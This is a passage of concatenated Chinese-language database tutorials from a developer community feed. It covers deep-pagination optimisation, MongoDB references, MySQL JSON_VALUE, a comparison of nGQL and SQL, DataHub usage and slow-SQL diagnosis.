    由此可以看出为什么要限制偏移量,另外,如果使用 Search After 这种滚动式API进行深度跳页查询,也是一样需要每次滚动几千条,可能一共需要滚动上百万,千万条数据,就为了最后的20条数据,效率可想而知。

    再次和产品对线

    俗话说的好,技术解决不了的问题,就由业务来解决!

    在实习的时候信了产品的邪,必须实现深度分页 + 跳页,如今必须拨乱反正,业务上必须有如下更改:

    • 尽可能的增加默认的筛选条件,如:时间周期,目的是为了减少数据量的展示
    • 修改跳页的展现方式,改为滚动显示,或小范围跳页

    滚动显示参考图:

    小规模跳页参考图:

    通用解决方案

    短时间内快速解决的方案主要是以下几点:

    • 必备:对排序字段,筛选条件务必设置好索引
    • 核心:利用小范围页码的已知数据,或者滚动加载的已知数据,减少偏移量
    • 额外:如果遇到不好处理的情况,也可以获取多余的数据,进行一定的截取,性能影响并不大

    MySQL

    原分页SQL:

    # 第一页
    SELECT * FROM `year_score` where `year` = 2017 ORDER BY id limit 0, 20;
    
    # 第N页
    SELECT * FROM `year_score` where `year` = 2017 ORDER BY id limit (N - 1) * 20, 20; 

    通过上下文关系,改写为:

    # XXXX 代表已知的数据
    SELECT * FROM `year_score` where `year` = 2017 and id > XXXX ORDER BY id limit 20;

    没内鬼,来点干货!SQL优化和诊断 一文中提到过,LIMIT会在满足条件下停止查询,因此该方案的扫描总量会急剧减少,效率提升Max!

    ES

    方案和MySQL相同,此时我们就可以随用所欲的使用 FROM-TO Api,而且不用考虑最大限制的问题。

    MongoDB

    方案基本类似,基本代码如下:

    相关性能测试:

    如果非要深度随机跳页

    如果你没有杠过产品经理,又该怎么办呢,没关系,还有一丝丝的机会。

    SQL优化 一文中还提到过MySQL深度分页的处理技巧,代码如下:

    # 反例(耗时129.570s)
    select * from task_result LIMIT 20000000, 10;
    
    # 正例(耗时5.114s)
    SELECT a.* FROM task_result a, (select id from task_result LIMIT 20000000, 10) b where a.id = b.id;
    
    # 说明
    # task_result表为生产环境的一个表,总数据量为3400万,id为主键,偏移量达到2000万

    该方案的核心逻辑即基于聚簇索引,在不通过回表的情况下,快速拿到指定偏移量数据的主键ID,然后利用聚簇索引进行回表查询,此时总量仅为10条,效率很高。

    因此我们在处理MySQLESMongoDB时,也可以采用一样的办法:

    1. 限制获取的字段,只通过筛选条件,深度分页获取主键ID
    2. 通过主键ID定向查询需要的数据

    瑕疵:当偏移量非常大时,耗时较长,如文中的 5s

    最后

    参考文章:MongoDB中文社区

    如果觉得对你有用的话,不要忘记点个赞啊~

    ]]>
    明了 | MongoDB 外键的基本使用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 小小继续进行学习,这次学习的内容是MongoDB外键的基本使用。

    表示表关系的方法

    在传统的关系型数据库当中,表示表关系,数据是通过索引来完善。
    而在MongoDB中,表示表关系,使用的是嵌套,即,一个文档嵌套一个文档的方法,作为MongoDB的两个文档的关联,以及使用,reference link作为文档和文档之间的关联。

    文档嵌套

    使用可视化的

    这里使用可视化的编辑器作为文档嵌套
    输入以下的文档对象

    {
        "ming": "ming",
            "ming2": {
                "ming3": "ming8"
            }
    }

    插入成功以后如下

    这样就完成了文档的嵌套,即,表示两个文档之间的关联。

    使用JDK

    这里使用JDK进行连接。
    首先添加依赖

    <dependency>
        <groupId>org.mongodb</groupId>
        <artifactId>mongodb-driver</artifactId>
        <version>3.5.0</version>
    </dependency>

    进行连接

      try{   
           // 连接到 mongodb 服务
             MongoClient mongoClient = new MongoClient( "106.53.115.12" , 27017 );
           
             // 连接到数据库
             MongoDatabase mongoDatabase = mongoClient.getDatabase("koa");  
           System.out.println("Connect to database successfully");
            
          }catch(Exception e){
            System.err.println( e.getClass().getName() + ": " + e.getMessage() );
         }

    进行插入

    List<Document> collections = new ArrayList<Document>();
    Document d1 = new Document();
    d1.append("name", "三国演义").append("author", "罗贯中");
    Document d2 = new Document();
    d2.append("name", "红楼梦").append("author", d1);
    collections.add(d2);
    c.insertMany(collections);

    查询出来的数据如下

    {
        "name" : "红楼梦",
        "author": {
            "name": "三国演义",
            "author": "罗贯中"
        }
    }

    此时就完成了文档的嵌套操作

    外键查询

    使用js语言,进行查询关联

    这里使用new DBRef的方式做外键查询。
    此时对于DBRef具有以下字段。

    $ref
    
             该$ref字段包含引用文档所在的集合的名称。
    
    $id
    
            该$id字段包含_id引用文档中字段的值。
    
    $db
    
          可选的。包含引用文档所在的数据库的名称。只有一些驱动程序支持$db引用,该字段说明可以跨集合关联

    这里对集合操作关联如下

    // 保存集合的数据
    > var a={value:"1"}  
     
    > var b={value:"2"}  
     
    > var c={value:"9"}  
     
    > var d={value:"10"}  
     
    > db.A.save(a)  
     
    > db.A.save(b)        
     
    > db.A.save(c)   
     
    > db.A.save(d)  
     // 进行集合数据的查询
    > db.A.find()                                                                                                 
     
    { "_id" : ObjectId("4e3f33ab6266b5845052c02b"), "value" : "1" }  
     
    { "_id" : ObjectId("4e3f33de6266b5845052c02c"), "value" : "2" }  
     
    { "_id" : ObjectId("4e3f33e06266b5845052c02d"), "value" : "9" }  
     
    { "_id" : ObjectId("4e3f33e26266b5845052c02e"), "value" : "10" }  

    进行集合关联,这里使用 new DBRef 方式完成集合的关联

    // 通过添加new DBRef 关键字,完成对集合的关联,这里通过new DBRef作为关键字,其中A为key,ObjectId 为value,进行关联
    > var Ba={Apid:[new DBRef('A',ObjectId("4e3f33de6266b5845052c02c"))],value:3}                        
     
     // 保存集合
    > db.B.save(Ba)  
     
    > var Ba={Apid:[new DBRef('A',ObjectId("4e3f33de6266b5845052c02c"))],value:4}  
     
    > db.B.insert(Ba)                                                              
     
    > var Ba={Apid:[new DBRef('A',ObjectId("4e3f33de6266b5845052c02c"))],value:7}  
     
    > db.B.insert(Ba)                                                              
     
    > var Ba={Apid:[new DBRef('A',ObjectId("4e3f33de6266b5845052c02c"))],value:8}  
     
    > db.B.insert(Ba)                                                              
     // 进行查询
    > db.B.find()  
     
     // 可以看到,已经成功关联
    { "_id" : ObjectId("4e3f3dd96266b5845052c035"), "Apid" : [ { "$ref" : "A", "$id" : ObjectId("4e3f33de6266b5845052c02c") } ], "value" : 3 }  
     
    { "_id" : ObjectId("4e3f3de16266b5845052c036"), "Apid" : [ { "$ref" : "A", "$id" : ObjectId("4e3f33de6266b5845052c02c") } ], "value" : 4 }  
     
    { "_id" : ObjectId("4e3f3dec6266b5845052c037"), "Apid" : [ { "$ref" : "A", "$id" : ObjectId("4e3f33de6266b5845052c02c") } ], "value" : 7 }  
     
    { "_id" : ObjectId("4e3f3df06266b5845052c038"), "Apid" : [ { "$ref" : "A", "$id" : ObjectId("4e3f33de6266b5845052c02c") } ], "value" : 8 } 

    使用mongo-java的方式操作

                // 创建外键进行关联,其中外键为refB
                // 其中选择对db数据库进行操作,选择id作为数据库的关联
                DBRef refB = new DBRef(db,"transations", obj.get("_id"));
                // 创建新的集合
                DBObject subObj = new BasicDBObject();
                // 外键插入
                subObj.put("brand", refB);
                // 进行保存
                accounts.save(subObj);

    查询的结果如下

    可以看到其中$id 对应的值为其数据库mongodb的外键。
    这样就完成了对数据库的外键操作。

    公众号

    ]]>
    MySQL 8.0.21 JSON_VALUE() 介绍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 MySQL 8.0.21发布了,其中一个新特性是JSON_VALUE()函数。主要的动机是简化JSON数据的索引创建,但是还有更多的原因。

    JSON_VALUE()在JSON数据中查找指定的标量JSON值,并将其作为SQL值返回。

    例子,我将使用mysql_x示例数据库数据作为示例。让我们从life expectancy数据开始。

    SELECT JSON_EXTRACT(doc, "$.demographics.LifeExpectancy") AS raw 
    FROM countryinfo 
    LIMIT 4;
    +--------------------+
    | raw                |
    +--------------------+
    | 78.4000015258789   |
    | 45.900001525878906 |
    | 38.29999923706055  |
    | 76.0999984741211   |
    +--------------------+

    这是一个很棒的信息,但是用眼睛看起来不是那么舒服

    我们可以使用JSON_VALUE()使它对我们看起来说更容易一些

    SELECT 
    JSON_VALUE(doc, "$.demographics.LifeExpectancy" RETURNING DECIMAL(6,2)) AS trimmed FROM countryinfo 
    LIMIT 4;
    +---------+
    | trimmed |
    +---------+
    |   78.40 |
    |   45.90 |
    |   38.30 |
    |   76.10 |
    +---------+

    它在WHERE子句中非常有用。在本例中没有RETURNING子句。

    SELECT doc->"$.Name" 
    FROM countryinfo 
    WHERE JSON_VALUE(doc, "$.demographics.LifeExpectancy" 
         RETURNING DECIMAL(6,3)) > 80.1;
    +---------------+
    | doc->"$.Name" |
    +---------------+
    | "Andorra"     |
    | "Japan"       |
    | "Macao"       |
    | "San Marino"  |
    +---------------+

    可选的RETURN子句将您的数据转换为FLOAT、DOUBLE、DECIMAL、SIGNED、
    UNSIGNED, DATE, TIME, DATETIME, CHAR或JSON, 甚至还有on empty和on error子句。

    SELECT JSON_VALUE('{firstname:"John"}', '$.lastname'               
            DEFAULT 'No last name found' ON ERROR) AS "Last Name";
    +--------------------+
    | Last Name          |
    +--------------------+
    | No last name found |
    +--------------------+          

    当然,它可以用来帮助定义索引。

    CREATE TABLE xdemo (j JSON,
     x INTEGER,  
     key((json_value(j, '$.id'))) 
    );

    翻译来源:https://elephantdolphin.blogspot.com/2020/07/jsonvalue-now-in-mysql-8021.html

    ]]>
    同样是查询语言,它和 SQL 竟然有这么多不同-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 摘要:这篇文章将介绍图数据库 Nebula Graph 的查询语言 nGQL 和 SQL 的区别。

    本文首发于 Nebula Graph 官方博客:https://nebula-graph.com.cn/posts/sql-vs-ngql-comparison/

    sql-vs-ngql

    虽然本文主要介绍 nGQL 和 SQL 的区别,但是我们不会深入探讨这两种语言,而是将这两种语言做对比,以帮助你从 SQL 过渡到 nGQL。

    SQL (Structured Query Language) 是具有数据操纵和数据定义等多种功能的数据库语言,这种语言是一种特定目的编程语言,用于管理关系数据库管理系统(RDBMS),或在关系流数据管理系统(RDSMS)中进行流处理。

    nGQL 是一种类 SQL 的声明型的文本查询语言,相比于 SQL, nGQL 为可扩展、支持图遍历、模式匹配、分布式事务(开发中)的图数据库查询语言。

    概念对比

    对比项 SQL nGQL
    点类型 tag
    边类型 edge type
    点 ID 主键 vid
    边 ID 复合主键 起点、终点、rank
    点或边的属性
    点或边

    语法对比

    数据定义语言 (DDL)

    数据定义语言(DDL)用于创建或修改数据库的结构,也就是 schema。

    对比项 SQL nGQL
    创建图空间(数据库) CREATE DATABASE <database_name> CREATE SPACE <space_name>
    列出图空间(数据库) SHOW DATABASES SHOW SPACES
    使用图空间(数据库) USE <database_name> USE <space_name>
    删除图空间(数据库) DROP DATABASE <database_name> DROP SPACE <space_name>
    修改图空间(数据库) ALTER DATABASE <database_name> alter_option
    创建 tags/edges CREATE TAG | EDGE <tag_name>
    创建表 CREATE TABLE <tbl_name> (create_definition,...)
    列出表列名 SHOW COLUMNS FROM <tbl_name>
    列出 tags/edges SHOW TAGS | EDGES
    Describe tags/edge DESCRIBE TAG | EDGE ` edge_name>`
    修改 tags/edge ALTER TAG | EDGE ` edge_name>`
    修改表 ALTER TABLE <tbl_name>

    索引

    对比项 SQL nGQL
    创建索引 CREATE INDEX CREATE {TAG | EDGE} INDEX
    删除索引 DROP INDEX DROP {TAG | EDGE} INDEX
    列出索引 SHOW INDEX FROM SHOW {TAG | EDGE} INDEXES
    重构索引 ANALYZE TABLE REBUILD {TAG | EDGE} INDEX <index_name> [OFFLINE]

    数据操作语言(DML)

    数据操作语言(DML)用于操作数据库中的数据。

    对比项 SQL nGQL
    插入数据 INSERT IGNORE INTO <tbl_name> [(col_name [, col_name] ...)] {VALUES | VALUE} [(value_list) [, (value_list)] INSERT VERTEX <tag_name> (prop_name_list[, prop_name_list]) {VALUES | VALUE} vid: (prop_value_list[, prop_value_list]) INSERT EDGE <edge_name> ( <prop_name_list> ) VALUES | VALUE <src_vid> -> <dst_vid>[@<rank>] : ( <prop_value_list> )
    查询数据 SELECT GO, FETCH
    更新数据 UPDATE <tbl_name> SET field1=new-value1, field2=new-value2 [WHERE Clause] UPDATE VERTEX <vid> SET <update_columns> [WHEN <condition>] UPDATE EDGE <edge> SET <update_columns> [WHEN <condition>]
    删除数据 DELETE FROM <tbl_name> [WHERE Clause] DELETE EDGE <edge_type> <vid> -> <vid>[@<rank>] [, <vid> -> <vid> ...] DELETE VERTEX <vid_list>
    拼接数据 JOIN ` `

    数据查询语言(DQL)

    数据查询语言(DQL)语句用于执行数据查询。本节说明如何使用 SQL 语句和 nGQL 语句查询数据。

    SELECT
     [DISTINCT]
     select_expr [, select_expr] ...
     [FROM table_references]
     [WHERE where_condition]
     [GROUP BY {col_name | expr | position}]
     [HAVING  where_condition]
     [ORDER BY {col_name | expr | position} [ASC | DESC]]
    GO [[<M> TO] <N> STEPS ] FROM <node_list>
     OVER <edge_type_list> [REVERSELY] [BIDIRECT]
     [WHERE where_condition]
     [YIELD [DISTINCT] <return_list>]
     [| ORDER BY <expression> [ASC | DESC]]
     [| LIMIT [<offset_value>,] <number_rows>]
     [| GROUP BY {col_name | expr | position} YIELD <col_name>]
    
    <node_list>
       | <vid> [, <vid> ...]
       | $-.id
    
    <edge_type_list>
       edge_type [, edge_type ...]
    
    <return_list>
        <col_name> [AS <col_alias>] [, <col_name> [AS <col_alias>] ...]

    数据控制语言(DCL)

    数据控制语言(DCL)包含诸如 GRANTREVOKE 之类的命令,这些命令主要用来处理数据库系统的权限、其他控件。

    对比项 SQL nGQL
    创建用户 CREATE USER CREATE USER
    删除用户 DROP USER DROP USER
    更改密码 SET PASSWORD CHANGE PASSWORD
    授予权限 GRANT <priv_type> ON [object_type] TO <user> GRANT ROLE <role_type> ON <space> TO <user>
    删除权限 REVOKE <priv_type> ON [object_type] TO <user> REVOKE ROLE <role_type> ON <space> FROM <user>

    数据模型

    查询语句基于以下数据模型:

    RDBMS 关系结构图

    RDBMS

    Nebula Graph 最小模型图

    Studio

    本文将使用 NBA 数据集。该数据集包含两种类型的点,也就是两个标签,即 playerteam ;两种类型的边,分别是 servefollow

    在关系型数据管理系统中(RDBMS)中,我们用表来表示点以及与点相关的边(连接表)。因此,我们创建了以下表格:playerteamservefollow。在 Nebula Graph 中,基本数据单位是顶点和边。两者都可以拥有属性,相当于 RDBMS 中的属性。

    Nebula Graph 中,点之间的关系由边表示。每条边都有一种类型,在 NBA 数据集中,我们使用边类型 servefollow 来区分两种类型的边。

    示例数据

    在 RDBMS 插入数据

    首先,让我们看看如何在 RDBMS 中插入数据。我们先创建一些表,然后为这些表插入数据。

    CREATE TABLE player (id INT, name VARCHAR(100), age INT);
    CREATE TABLE team (id INT, name VARCHAR(100));
    CREATE TABLE serve (player_id INT, team_id INT, start_year INT, end_year INT);
    CREATE TABLE follow (player_id1 INT, player_id2 INT, degree INT);

    然后插入数据。

    INSERT INTO player
    VALUES
       (100, 'Tim Duncan', 42),
       (101, 'Tony Parker', 36),
       (102, 'LaMarcus Aldridge', 33),
       (103, 'Rudy Gay',32),
       (104, 'Marco Belinelli', 32),
       (105, 'Danny Green', 31),
       (106, 'Kyle Anderson', 25),
       (107, 'Aron Baynes', 32),
       (108, 'Boris Diaw', 36),
       (109, 'Tiago Splitter', 34),
       (110, 'Cory Joseph', 27);
    
    INSERT INTO team
    VALUES
       (200, 'Warriors'),
       (201, 'Nuggets'),
       (202, 'Rockets'),
       (203, 'Trail'),
       (204, 'Spurs'),
       (205, 'Thunders'),
       (206, 'Jazz'),
       (207, 'Clippers'),
       (208, 'Kings');
    
    INSERT INTO serve
    VALUES
       (100,200,1997,2016),
       (101,200,1999,2010),
       (102,200,2001,2005),
       (106,200,2000,2011),
       (107,200,2001,2009),
       (103,201,1999,2018),
       (104,201,2006,2015),
       (107,201,2007,2010),
       (108,201,2010,2016),
       (109,201,2011,2015),
       (105,202,2015,2019),
       (109,202,2017,2019),
       (110,202,2007,2009);
    
    INSERT INTO follow
    VALUES
       (100,101,95),
       (100,102,91),
       (100,106,90),
       (101,100,95),
       (101,102,91),
       (102,101,75),
       (103,102,70),
       (104,103,50),
       (104,105,60),
       (105,104,83),
       (105,110,87),
       (106,100,88),
       (106,107,81),
       (107,106,92),
       (107,108,97),
       (108,109,95),
       (109,110,78),
       (110,109,72),
       (110,105,85);

    在 Nebula Graph 插入数据

    Nebula Graph 中插入数据与上述类似。首先,我们需要定义好数据结构,也就是创建好 schema。然后可以选择手动或使用 Nebula Graph Studio (Nebula Graph 的可视化工具)导入数据。这里我们手动添加数据。

    在下方的 INSERT 插入语句中,我们向图空间 NBA 插入了球员数据(这和在 MySQL 中插入数据类似)。

    INSERT VERTEX player(name, age) VALUES
    100: ('Tim Duncan', 42),
    101: ('Tony Parker', 36),
    102: ('LaMarcus Aldridge', 33),
    103: ('Rudy Gay', 32),
    104: ('Marco Belinelli', 32),
    105: ('Danny Green', 31),
    106: ('Kyle Anderson', 25),
    107: ('Aron Baynes', 32),
    108: ('Boris Diaw', 36),
    109: ('Tiago Splitter', 34),
    110: ('Cory Joseph', 27);

    考虑到篇幅限制,此处我们将跳过插入球队和边的重复步骤。你可以点击此处下载示例数据亲自尝试。

    Nebula-Graph-Studio

    增删改查(CRUD)

    本节介绍如何使用 SQL 和 nGQL 语句创建(C)、读取(R)、更新(U)和删除(D)数据。

    插入数据

    mysql> INSERT INTO player VALUES (100, 'Tim Duncan', 42);
    
    nebula> INSERT VERTEX player(name, age) VALUES 100: ('Tim Duncan', 42);

    查询数据

    查找 ID 为 100 的球员并返回其 name 属性:

    mysql> SELECT player.name FROM player WHERE player.id = 100;
    
    nebula> FETCH PROP ON player 100 YIELD player.name;

    更新数据

    mysql> UPDATE player SET name = 'Tim';
    
    nebula> UPDATE VERTEX 100 SET player.name = "Tim";

    删除数据

    mysql> DELETE FROM player WHERE name = 'Tim';
    
    nebula> DELETE VERTEX 121;
    nebula> DELETE EDGE follow 100 -> 200;

    建立索引

    返回年龄超过 36 岁的球员。

    SELECT player.name
    FROM player
    WHERE player.age < 36;

    使用 nGQL 查询有些不同,因为您必须在过滤属性之前创建索引。更多信息请参见 索引文档

    CREATE TAG INDEX player_age ON player(age);
    REBUILD TAG INDEX player_age OFFLINE;
    LOOKUP ON player WHERE player.age < 36;

    示例查询

    本节提供一些示例查询供您参考。

    示例 1

    在表 player 中查询 ID 为 100 的球员并返回其 name 属性。

    SELECT player.name
    FROM player
    WHERE player.id = 100;

    接下来使用 Nebula Graph 查找 ID 为 100 的球员并返回其 name 属性。

    FETCH PROP ON player 100 YIELD player.name;

    Nebula Graph 使用 FETCH 关键字获取特定点或边的属性。本例中,属性即为点 100 的名称。nGQL 中的 YIELD 关键字相当于 SQL 中的 SELECT

    示例 2

    查找球员 Tim Duncan 并返回他效力的所有球队。

    SELECT a.id, a.name, c.name
    FROM player a
    JOIN serve b ON a.id=b.player_id
    JOIN team c ON c.id=b.team_id
    WHERE a.name = 'Tim Duncan'

    使用如下 nGQL 语句完成相同操作:

    CREATE TAG INDEX player_name ON player(name);
    REBUILD TAG INDEX player_name OFFLINE;
    LOOKUP ON player WHERE player.name == 'Tim Duncan' YIELD player.name AS name | GO FROM $-.VertexID OVER serve YIELD $-.name, $$.team.name;

    这里需要注意一下,在 nGQL 中的等于操作采用的是 C 语言风格的 ==,而不是SQL风格的 =

    示例 3

    以下查询略复杂,现在我们来查询球员 Tim Duncan 的队友。

    SELECT a.id, a.name, c.name
    FROM player a
    JOIN serve b ON a.id=b.player_id
    JOIN team c ON c.id=b.team_id
    WHERE c.name IN (SELECT c.name
    FROM player a
    JOIN serve b ON a.id=b.player_id
    JOIN team c ON c.id=b.team_id
    WHERE a.name = 'Tim Duncan')

    nGQL 则使用管道将前一个子句的结果作为下一个子句的输入。

    GO FROM 100 OVER serve YIELD serve._dst AS Team | GO FROM $-.Team OVER serve REVERSELY YIELD $$.player.name;

    您可能已经注意到了,我们仅在 SQL 中使用了 JOIN。这是因为 Nebula Graph 只是使用类似 Shell 的管道对子查询进行嵌套,这样更符合我们的阅读习惯也更简洁。

    参考资料

    我们建议您亲自尝试上述查询语句,这将帮您更好地理解 SQL 和 nGQL,并节省您上手 nGQL 的学习时间。以下是一些参考资料:

    作者有话说:Hi,Hi ,大家好,我是 Amber,Nebula Graph 的文档工程师,希望上述内容可以给大家带来些许启发。限于水平,如有不当之处还请斧正,在此感谢^^

    喜欢这篇文章?来来来,给我们的 GitHub 点个 star 表鼓励啦~~ ]]> DataWorks百问百答44:如何同步JSON里的部分数据?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在配置MongoDB同步任务时,有些用户希望截取部分数据,下面以截取json里的name:hz为例,下面图片里是MongoDB的数据,是以json的格式展现的。
    dataworks44-1.png

    • 在配置同步任务column时要采用下面的方法:
    "column":[
      {
        "name":"operation.name",
        "type":"document.string"
      }
    ]
    • 这样会在对应的目标列展现数据 hz

    DataWorks百问百答历史记录 请点击这里查看>>

    更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

    ]]>
    PostgreSQL公开课(第19期)-Toast技术特点与应用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1、Toast简介

    2、Toast的存储方式

    3、Toast4种压缩策略

    4、Toast表的计算方式

    5、Toast表的优点与缺点

    6、与Oracle大对象存储方式对比

    由于PG数据库不支持一行的数据跨越多块存储,Toast技术解决了大字段值的存储问题,类似于Oracle的大对象储存方式,本次技术沙龙全方面介绍Toast技术特点与应用场景。

    道可道,非常道;名可名,非常名。

    时间:2020-07-26 20:00-21:00

    主讲:CUUG陈卫星老师

    地址:腾讯课堂搜索‘cuug’

    ]]>
    DataHub使用指南-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 快速入门教程

    1.开通DataHub

    ​ 使用DataHub的第一步,首先点击开通DataHub

    2.创建Project和 Topic

    • 具体创建方式参考文档:https://help.aliyun.com/document_detail/158785.html?spm=a2c4g.11186623.6.556.796958e1yVcaLO
    • 创建Topic方式解读,Tuple还是Blob?

      • Tuple支持的是强Schema的结构化数据,Blob指的是没有类型的非结构化数据,在实际中Blob就是只有一列为string类型的schema
      • 值得注意的是:使用Blob类型topic的话,数据会采用Base64加密,无论是抽样还是下游消费,都需要进行解密
      • Schema设计


    DataHub目前只支持字段的新增,不支持删除和修改,针对上游数据源字段经常发生变动的场景,建议设置允许字段为空,如果上游字段变更的话,针对多出来的字段可以通过SDK新增字段,而对于减少的字段则由于允许为空,值将会置为NULL,不会对业务造成影响
    
    • shard 和生命周期设置

      • shard在DataHub中代表的是并发通道,每个shard每秒吞吐限制为5M/s,每个shardQPS(每秒请求数)为2000次,您可根据这两项指标合理设置shard个数
      • 针对生命周期而言,可以根据业务需要设置,如果需要更改的话,可以使用Java SDK修改生命周期

    3.上游的选择

    DataHub目前支持的数据采集插件

    • OGG

      • OGG for MySQL
      • OGG for Oracle
    • LogStash
    • Flume
    • Canal插件
    • Fluentd

    https://help.aliyun.com/document_detail/158836.html?spm=a2c4g.11186623.6.588.5e65710b7RMCns
    通过SDK自定义写入DataHub

    注意:

    https://help.aliyun.com/document_detail/158841.html?spm=a2c4g.11186623.6.599.28c21333xe8wPo
    https://help.aliyun.com/document_detail/158834.html?spm=a2c4g.11186623.6.583.2db4710bEEOlFZ
    兼容Kafka

    https://help.aliyun.com/document_detail/168118.html?spm=a2c4g.11186623.6.586.6aec6bdbCi1ElZ
    DTS数据同步
    从PolarDB MySQL同步至Datahub
    从DRDS同步至DataHub
    DataHub目前的上游生态就是这样了

    4.指标查看 or数据抽样

    ​ 在将数据写入到DataHub之后,DataHub提供了可视化指标来查看内部情况,具体详情请查看

    指标查看metric详情最新.png

    ​ 用户如何查看数据质量,写入是否正确?可以通过Web抽样功能来查看数据

    5.订阅

    ​ 什么是订阅?

    • 订阅最主要的功能就是存储消费点位,以及通过点位重置重新消费
    • 用户可创建不同的订阅针对同一个Topic数据的不同消费模式
    • 创建同步自动会创建对应的订阅


    创建订阅,删除订阅请查看文档:https://help.aliyun.com/document_detail/158833.html?spm=a2c4g.11174283.6.584.78d763ef5KNv0Y

    6.同步数据到下游

    ​ 消费DataHub数据有两种方式,通过DataHub支持的同步数据库同步到下游,或者通过自定义SDK消费数据进行处理

    DataHub支持的同步类型:

    • Hologres
    • Maxcompute
    • ADS
    • ElasticSearch
    • 函数计算
    • OSS
    • TableStore
    • RDS/MySQL/ADS 3.0

    自定义SDK消费

    ​ 您可以使用SDK对DataHub数据进行消费

    ​ 同时DataHub协同消费解决多个消费者同时消费一个topic时,自动分配shard的问题,您也可以选择使用协同消费对DataHub数据进行处理

    ​ 同步往往是出现问题最多的,请参考  DataHub同步问题

    7.监控报警

    ​ 在同步数据过程中,DataHub支持了监控报警,目前只有订阅延迟报警这一项,您可以通过创建报警规则方式对DataHub同步到下游数据进行监控,当超过延迟时间阈值时,会通过钉钉、短信等多种方式提醒您。

    ​ 具体报警说明请查看文档:监控报警

    8 总结

    本文通过对DataHub的创建使用,上游数据源的选择,同步到DataHub的指标查看,以及下游类型的说明,阐述了DataHub做为数据通道的概念模型以及实际的落地场景,如有更多使用疑问,请加DataHub公共云群组进行反馈

    ]]>
    慢SQL优化实战笔记-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、存在问题

    经过sql慢查询的优化,我们系统中发现了以下几种类型的问题:

    1.未建索引:整张表没有建索引;
    
    2.索引未命中:有索引,但是部分查询条件下索引未命中;
    
    3.搜索了额外的非必要字段,导致回表;
    
    4.排序,聚合导致慢查询;
    
    5.相同内容多次查询数据库;
    
    6.未消限制搜索范围或者限制的搜索范围在预期之外,导致全部扫描;

    二、解决方案

    1.优化索引,增加或者修改当前的索引;         
    
    2.重写sql;
    
    3.利用redis缓存,减少查询次数;
    
    4.增加条件,避免非必要查询;
    
    5.增加条件,减少查询范围;                          

    三、案例分析

    (一)药材搜索接口

    完整sql语句在附录,为方便阅读和脱敏,部分常用字段采用中文。

    这儿主要讲一下我们拿到Sql语句后的整个分析过程,思考逻辑,然后进行调整的过程和最后解决的办法。

    给大家提供一些借鉴,也希望大家能够提出更好的建议。                

    这个sql语句要求是根据医生搜索的拼音或者中文,进行模糊查询,找到药材,然后根据医生选择的药库,查找下面的供应商,然后根据供应商,进行药材匹配,排除掉供应商没有的药材,然后根据真名在前,别名在后,完全匹配在前,部分匹配在后,附加医生最近半年的使用习惯,把药材排序出来。最后把不同名称的同一味药聚合起来,以真名(另名)的形式展现。

    1.分析sql

    • (1)14-8

    第14排,id为8的explain结果分析:

    ①Explain
    8,DERIVED,ssof,range,"ix_district,ix_供应商id",ix_district,8,NULL,18,Using where; Using index; Using temporary
    ②Sql
    SELECT DISTINCT (ssof.供应商id) AS 供应商id FROM  药库供应商关系表 AS ssof  WHERE ssof.药库id IN (  1, 2, 8, 9, 10, 11, 12, 13, 14, 15, 17, 22, 24, 25, 26, 27, 31, 33)  AND ssof.药方剂型id IN (1)
    ③索引
    PRIMARY KEY (`id`),    UNIQUE KEY `ix_district` (        `药库id`, `药方剂型id`, `供应商id`    ) USING BTREE,KEY `ix_供应商id` (`供应商id`) USING BTREE
    ④分析

    使用了索引,建立了临时表,这个地方索引已经完全覆盖了,但是还有回表操作。

    原因是用in,这个导致了回表。如果in可以被mysql 自动优化为等于,就不会回表。如果无法优化,就回表。

    临时表是因为有distinct,所以无法避免。

    同时使用in需要注意,如果里面的值数量比较多,有几万个。即使区分度高,就会导致索引失效,这种情况需要多次分批查询。

    2. 12-7

    • (1)Explain
    7,DERIVED,<derived8>,ALL,NULL,NULL,NULL,NULL,18,Using temporary; Using filesort
    • (2)Sql
    INNER JOIN (上面14-8临时表) tp ON tp.供应商id= ms.供应商id
    • (3)索引

    • (4)分析

    对临时表操作,无索引,用了文件排序。

    这一部分是对临时表和药材表进行关联操作的一部分,有文件排序是因为需要对药材表id进行group by 导致的。

       1、默认情况下,mysql在使用group by之后,会产生临时表,而后进行排序(此处排序默认是快排),这会消耗的性能。

       2、group by本质是先分组后排序【而不是先排序后分组】。

       3、group by column 默认会按照column分组, 然后根据column升序排列;  group by column order by null 则默认按照column分组,然后根据标的主键ID升序排列。

    3. 13-7

    • (1)Explain
    7,DERIVED,ms,ref,"ix_title,idx_audit,idx_mutiy",idx_mutiy,5,"tp.供应商id,const",172,NULL
    • (2)Sql
    SELECT ms.药材表id, max(ms.audit) AS audit, max(ms.price) AS price, max(ms.market_price) AS market_price,max(ms.is_granule) AS is_granule,max(ms.is_decoct) AS is_decoct, max(ms.is_slice) AS is_slice,max(ms.is_cream) AS is_cream, max(ms.is_extract) AS is_extract,max(ms.is_cream_granule) AS is_cream_granule, max(ms.is_extract_granule) AS is_extract_granule,max(ms.is_drychip) AS is_drychip,            max(ms.is_pill) AS is_pill,max(ms.is_powder) AS is_powder, max(ms.is_bolus) AS is_bolus FROM 供应商药材表 AS ms INNER JOIN (                SELECT                    DISTINCT (ssof.供应商id) AS 供应商id                FROM                    药库供应商关系表 AS ssof WHERE  ssof.药库id IN (  1, 2, 8, 9, 10, 11, 12, 13, 14, 15, 17, 22, 24, 25, 26, 27, 31, 33 ) AND ssof.药方剂型id IN (1) ) tp ON tp.供应商id= ms.供应商id WHERE  ms.audit = 1  GROUP BY  ms.药材表id
    • (3)索引
       KEY `idx_mutiy` (`供应商id`, `audit`, `药材表id`)
    • (4)分析

    命中了索引,表间连接使用了供应商id,建立索引的顺序是供应商id,where条件中audit,Group by 条件药材表id。

    这部分暂时不需要更改。

    4.10-6

    • (1)Explain
    6,DERIVED,r,range,"PRIMARY,id,idx_timeline,idx_did_timeline,idx_did_isdel_statuspay_timecreate_payorderid,idx_did_statuspay_ischecked_isdel",idx_did_timeline,8,NULL,546,Using where; Using index; Using temporary; Using filesort
    • (2)Sql
    SELECT 
           count(*) AS total, 
           rc.i AS m药材表id 
         FROM 
            处方药材表 AS rc 
